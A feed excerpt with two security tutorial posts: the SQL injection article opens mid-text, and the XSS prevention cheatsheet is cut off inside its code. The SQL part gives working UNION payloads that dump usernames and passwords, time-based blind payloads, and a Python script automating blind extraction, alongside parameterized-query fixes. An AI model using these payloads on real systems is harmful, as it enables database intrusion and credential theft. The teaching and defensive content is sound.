'&lt;/span&gt; &lt;span class="k"&gt;UNION&lt;/span&gt; &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;group_concat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;table_name&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="k"&gt;NULL&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;information_schema&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tables&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;table_schema&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;database&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="c1"&gt;--&lt;/span&gt;
&lt;span class="s1"&gt;' UNION SELECT NULL,group_concat(column_name),NULL FROM information_schema.columns WHERE table_name='&lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="s1"&gt;'--
'&lt;/span&gt; &lt;span class="k"&gt;UNION&lt;/span&gt; &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;group_concat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;':'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="k"&gt;NULL&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="c1"&gt;--&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On a real engagement last year, this exact chain extracted admin credentials from a healthcare portal within twenty minutes of initial access. The vulnerability had been present for three years.&lt;/p&gt;

&lt;h2&gt;
  
  
  Time-Based Blind Injection in Practice
&lt;/h2&gt;

&lt;p&gt;When I'm working with an application that gives no visual feedback, time-based injection becomes essential. MySQL example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="s1"&gt;' AND SLEEP(5)--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the response takes five seconds longer, the parameter is injectable. From there, I extract data character by character:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="s1"&gt;' AND IF(SUBSTRING((SELECT database()),1,1)='&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="s1"&gt;',SLEEP(5),0)--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is painfully slow manually, which is where custom scripts help. I often write a Python script using the &lt;code&gt;requests&lt;/code&gt; library for specific scenarios SQLMap handles poorly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;

&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://target.com/product&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;charset&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ascii_lowercase&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;digits&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;_&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;position&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;char&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;charset&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;1&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt; AND IF(SUBSTRING((SELECT database()),&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;position&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;,1)=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;char&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;,SLEEP(3),0)-- -&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
        &lt;span class="n"&gt;params&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="n"&gt;start&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;elapsed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;start&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;elapsed&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;char&lt;/span&gt;
            &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[+] Position &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;position&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;char&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; (running: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;break&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;[+] Database name: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For professional penetration testing engagements, timing attacks require careful baseline measurements — network latency variance can cause false positives. I always establish a baseline response time before running time-based tests.&lt;/p&gt;

&lt;h2&gt;
  
  
  Common Mistakes
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Mistake 1: Trusting input sanitization over parameterized queries.&lt;/strong&gt; I see developers using &lt;code&gt;mysql_real_escape_string()&lt;/code&gt; or manually stripping single quotes and calling it secure. Bypass techniques exist for every sanitization approach. Parameterized queries are the only reliable fix.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mistake 2: Only protecting visible input fields.&lt;/strong&gt; HTTP headers are injection vectors too. I've exploited injection in &lt;code&gt;User-Agent&lt;/code&gt; logging, &lt;code&gt;Referer&lt;/code&gt; tracking, and &lt;code&gt;X-Forwarded-For&lt;/code&gt; IP recording more times than I can count.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mistake 3: Running database accounts with excessive privileges.&lt;/strong&gt; The web application's database account should never have &lt;code&gt;FILE&lt;/code&gt;, &lt;code&gt;SUPER&lt;/code&gt;, or &lt;code&gt;DROP&lt;/code&gt; privileges. If the account only has &lt;code&gt;SELECT&lt;/code&gt; on the tables it needs, successful injection is dramatically less impactful.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mistake 4: Disabling error messages without fixing the injection.&lt;/strong&gt; Suppressing error messages makes injection harder to detect, but it doesn't prevent exploitation. Boolean-blind and time-based techniques work perfectly against applications with no error output.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mistake 5: Assuming an ORM makes you immune.&lt;/strong&gt; ORMs like Hibernate, SQLAlchemy, and Eloquent can be misconfigured to allow raw query execution. I've found injection in Django applications using &lt;code&gt;raw()&lt;/code&gt; queries and in Laravel apps using &lt;code&gt;whereRaw()&lt;/code&gt; with unsanitized input.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Fix: Parameterized Queries Done Right
&lt;/h2&gt;

&lt;p&gt;The vulnerable PHP from earlier, fixed with PDO:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$pdo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;PDO&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$dsn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$password&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$stmt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$pdo&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;prepare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"SELECT * FROM products WHERE name LIKE :search"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;'search'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'%'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$search&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;'%'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="nv"&gt;$results&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;fetchAll&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The user input never touches the SQL string. The database driver handles the binding, and the input is always treated as data, never as code.&lt;/p&gt;

&lt;p&gt;In Python with SQLAlchemy (the correct way):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Wrong - vulnerable
&lt;/span&gt;&lt;span class="n"&gt;results&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SELECT * FROM users WHERE username = &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Right - parameterized
&lt;/span&gt;&lt;span class="n"&gt;results&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="nf"&gt;text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SELECT * FROM users WHERE username = :username&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;username&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Beyond parameterization, implement defense in depth: Web Application Firewalls like ModSecurity with the OWASP Core Rule Set, least-privilege database accounts, regular penetration testing, and proper error handling that logs internally without exposing details to users.&lt;/p&gt;

&lt;p&gt;The &lt;a href="https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html" rel="noopener noreferrer"&gt;OWASP SQL Injection Prevention Cheat Sheet&lt;/a&gt; is the most comprehensive reference I point developers to. PortSwigger's &lt;a href="https://portswigger.net/web-security/sql-injection" rel="noopener noreferrer"&gt;Web Security Academy SQLi labs&lt;/a&gt; are where I recommend practitioners actually practice these techniques legally.&lt;/p&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Q: Can a WAF fully protect against SQL injection?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;No. WAFs provide a useful layer of defense, but skilled attackers use encoding, comment syntax, and alternative keywords to bypass signature-based detection. I bypass WAFs during most engagements using tamper scripts and manual payload crafting. A WAF buys time and stops automated attacks, but it doesn't fix the underlying vulnerability.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: How do I test my own application for SQL injection without breaking it?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Use a staging environment that mirrors production. Start with passive testing — single quotes, double quotes, comment sequences — and observe behavior. Use Burp Suite's active scanner against staging. For production-safe testing, boolean-based payloads that only change query logic (not delete or update data) are lower risk. Never run &lt;code&gt;--risk=3&lt;/code&gt; SQLMap flags against production systems.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: My application uses stored procedures. Am I safe?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Stored procedures don't automatically prevent SQL injection. If the stored procedure constructs dynamic SQL internally using string concatenation, it's still vulnerable. A stored procedure that accepts parameters and uses them safely (without internal concatenation) is fine. Audit your stored procedure code the same way you'd audit application code.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: What's the first thing an attacker does after finding SQL injection?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Map the database structure: version, current database name, table names, column names. Then target high-value tables — usually users, admins, sessions, payment data. In MySQL environments with &lt;code&gt;FILE&lt;/code&gt; privileges, I've seen attackers read &lt;code&gt;/etc/passwd&lt;/code&gt; and write web shells via &lt;code&gt;INTO OUTFILE&lt;/code&gt;. Database enumeration typically takes under ten minutes with SQLMap on a vulnerable endpoint.&lt;/p&gt;

&lt;h2&gt;
  
  
  Key Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Every user-controlled input — parameters, headers, cookies, JSON bodies — is a potential injection point&lt;/li&gt;
&lt;li&gt;Use parameterized queries or prepared statements exclusively; never concatenate user input into SQL strings&lt;/li&gt;
&lt;li&gt;Database accounts for web applications should have minimum required privileges only — no FILE, DROP, or SUPER&lt;/li&gt;
&lt;li&gt;Suppressing error messages is not a security control; blind injection techniques bypass it completely&lt;/li&gt;
&lt;li&gt;ORMs are not automatically safe; audit any raw query execution within ORM code&lt;/li&gt;
&lt;li&gt;Test HTTP headers (User-Agent, Referer, X-Forwarded-For) explicitly — they're commonly logged into databases&lt;/li&gt;
&lt;li&gt;Second-order injection requires testing data retrieval paths, not just data insertion points&lt;/li&gt;
&lt;li&gt;WAFs are a compensating control, not a fix — remediate the underlying vulnerability&lt;/li&gt;
&lt;li&gt;Time-based blind injection requires baseline timing measurements to avoid false positives&lt;/li&gt;
&lt;li&gt;Run SQLMap with targeted flags and tamper scripts rather than default settings against real targets&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Originally published at &lt;a href="https://xuro.net/blog/sql-injection-anatomy-attack/" rel="noopener noreferrer"&gt;xuro.net&lt;/a&gt; — cross-posted with canonical link.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>security</category>
      <category>php</category>
      <category>beginners</category>
    </item>
    <item>
      <title>How to Prevent XSS Attacks: Output Encoding, CSP &amp; DOMPurify (2026 Cheatsheet)</title>
      <dc:creator>Zahid Rasheed</dc:creator>
      <pubDate>Wed, 08 Jul 2026 10:09:07 +0000</pubDate>
      <link>https://dev.to/zahidabbasi/how-to-prevent-xss-attacks-output-encoding-csp-dompurify-2026-cheatsheet-5524</link>
      <guid>https://dev.to/zahidabbasi/how-to-prevent-xss-attacks-output-encoding-csp-dompurify-2026-cheatsheet-5524</guid>
      <description>&lt;p&gt;&lt;strong&gt;Quick answer:&lt;/strong&gt; XSS is prevented through output encoding by context — HTML-encode content inserted into HTML body, JavaScript-encode data inside script blocks, URL-encode query parameters, and CSS-encode values inside style attributes. Use DOMPurify to sanitize HTML input and a Content Security Policy (CSP) with nonces as a second layer of defense. Never use &lt;code&gt;innerHTML&lt;/code&gt; with untrusted data — use &lt;code&gt;textContent&lt;/code&gt; instead.&lt;/p&gt;

&lt;p&gt;Last week, a client called me in a panic. Their e-commerce platform had been compromised — attackers injected malicious JavaScript into their product review section, and every customer who visited those pages had their session cookies silently exfiltrated to an external server. By the time we traced the attack, over 3,000 user sessions had been stolen. The fix? A few lines of output encoding that should have been there from day one. That's XSS in the real world — not a theoretical vulnerability, but a quiet, patient attack that sits in your application waiting for victims.&lt;/p&gt;

&lt;p&gt;I've spent 15+ years finding XSS vulnerabilities in production applications, from Fortune 500 banking portals to small SaaS startups. This cheatsheet is everything I wish developers had followed before I had to show up and write the incident report.&lt;/p&gt;




&lt;p&gt;This guide follows the &lt;a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html" rel="noopener noreferrer"&gt;OWASP XSS Prevention Cheat Sheet&lt;/a&gt; framework and extends it with real-world examples from penetration testing engagements.&lt;/p&gt;

&lt;h2&gt;
  
  
  What XSS Actually Is (And Why Developers Keep Getting It Wrong)
&lt;/h2&gt;

&lt;p&gt;Cross-Site Scripting happens when an application includes untrusted data in a web page without proper validation or encoding. The browser can't distinguish between your legitimate JavaScript and the attacker's injected payload — it just executes both. There are three types you need to care about:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reflected XSS&lt;/strong&gt; — The malicious script comes from the current HTTP request. Classic example: a search parameter that echoes back "You searched for: [input]" without sanitization.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Stored XSS&lt;/strong&gt; — The payload is stored in the database and served to every user who loads that page. This is what hit my client above. Far more dangerous because it's persistent and self-propagating.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DOM-based XSS&lt;/strong&gt; — The vulnerability exists entirely in client-side code. The payload never reaches the server; it's processed by the browser's DOM engine. These are the hardest to detect with traditional scanners.&lt;/p&gt;

&lt;p&gt;Most developers I audit understand reflected XSS conceptually but completely miss DOM-based vulnerabilities because they're scanning server-side code while the problem lives in their React components or jQuery event handlers.&lt;/p&gt;

&lt;h2&gt;
  
  
  Input Validation vs Output Encoding — Know the Difference
&lt;/h2&gt;

&lt;p&gt;This is where I see the most confusion. These are two separate defenses and you need both.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Input validation&lt;/strong&gt; happens on the way in. Reject or sanitize data that doesn't match expected formats. If a field expects a US phone number, it should only accept digits and hyphens. If it expects an age, it should only accept integers in a reasonable range.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Input validation example — whitelist approach&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;validateUsername&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;usernameRegex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sr"&gt;/^&lt;/span&gt;&lt;span class="se"&gt;[&lt;/span&gt;&lt;span class="sr"&gt;a-zA-Z0-9_&lt;/span&gt;&lt;span class="se"&gt;]{3,20}&lt;/span&gt;&lt;span class="sr"&gt;$/&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;usernameRegex&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Invalid username format&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Output encoding&lt;/strong&gt; happens on the way out. Convert dangerous characters into their safe HTML entity equivalents before rendering them in the browser. This is your last line of defense.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Output encoding — never trust, always encode&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;htmlEncode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;str&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/&amp;amp;/g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;&amp;amp;amp;&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/&amp;lt;/g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;&amp;amp;lt;&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/&amp;gt;/g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;&amp;amp;gt;&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/"/g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;&amp;amp;quot;&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/'/g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;&amp;amp;#x27;&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
